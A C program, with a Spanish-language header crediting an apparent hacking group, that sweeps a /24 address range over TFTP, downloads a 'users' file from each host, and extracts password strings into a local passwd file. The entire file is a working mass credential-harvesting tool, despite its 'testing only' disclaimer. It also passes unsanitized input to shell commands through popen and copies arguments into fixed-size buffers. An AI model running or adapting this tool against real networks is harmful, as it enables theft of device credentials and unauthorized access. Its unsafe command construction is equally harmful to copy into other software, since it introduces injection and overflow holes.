///////////////////////////////////////////////////////////////////////////////
////                   BADCHECKSUM TEAM                                    ////
////             by icaro                                                  ////
////         Esta herramienta esta basada un el texto publicado en la      ////
////        ezine de disidets necesita del cliente tftp esta testeado en   ////
////        openBSD                                                        ////
////        Exclusivamente para testeos de redes,no me hago responsable    ////
////        del mal uso de esta herramienta                                ////                         
///////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <pthread.h>

void *tftpfile (void* rango)
{
  char comando[50];
  //fichero para el comando
  FILE *fdcomando;

  //alarm(1);
  bzero(comando,sizeof(comando));
  strcpy(comando,"tftp ");
  strcat(comando,rango);
  strcat(comando,">/dev/null");
  fdcomando=popen(comando,"w");
  bzero(comando,sizeof(comando));
  strcpy(comando,"timeout 1\n");
  fputs(comando,fdcomando);
  bzero(comando,sizeof(comando));
  strcpy(comando,"get users ");
  strcat(comando,rango);
  strcat(comando,"\n");
  fputs(comando,fdcomando);
  pclose(fdcomando);
  
  pthread_exit(NULL);
}
void passwd(char rango[50]){
 FILE *fichero,*pass;
  char texto[20],linea[40],comando[50];
  //estado del fichero
  struct stat datosfichero;
  //sacamos el pass
  stat(rango,&datosfichero);
  if((datosfichero.st_size)>0){
    //sacapas
    pass=fopen("passwd","a");
    sprintf(comando,"strings %s",rango);
    fichero=popen(comando,"r");
    while(!feof(fichero)){
      fgets(texto,20,fichero);
      if(strchr(texto,'D')){
	bzero(linea,sizeof(linea));
	strncpy(linea,rango,sizeof(linea));
	strcat(linea,"!");
	texto[strlen(texto)-1]='\0';
	texto[strlen(texto)-1]='!';
	strncat(linea,texto,sizeof(linea));
	fgets(texto,20,fichero);
	strncat(linea,texto,sizeof(linea));
	fputs(linea,pass);
	fclose(pass);
	pclose(fichero);
	break;
      }
    }
  }
  remove(rango);
 
}
int main(int argc,char *argv[]){
  int modo=0,i,t=0;
  char ip[50],rango[50];
  //multiprocesos
 pthread_t idHilo;
 int error;
 
  //--
  if (argc<2){
    printf("uso ./%s [192.168.0.*] ",argv[0]);
    exit(0);
  }
  strcpy(ip,argv[1]);
  if(ip[strlen(ip)-1]=='*'){
    modo=1;
    ip[strlen(ip)-1]=0x0;
  }
  if(modo==1){
  printf("[+]obteniendo files\n");
    for(i=1;i<=255;i++){
      sprintf(rango,"%s%d",ip,i);
      //printf("%s\n",rango);
      error = pthread_create (&idHilo, NULL, tftpfile, rango); 
      usleep(40000);
    }
    
    printf("[+]pillando pass\n");
    for(i=1;i<=255;i++){
      sprintf(rango,"%s%d",ip,i);
      passwd(rango);
      }
    printf("[+]terminado los pass se almacenan en el fichero pass\n");
  }
}
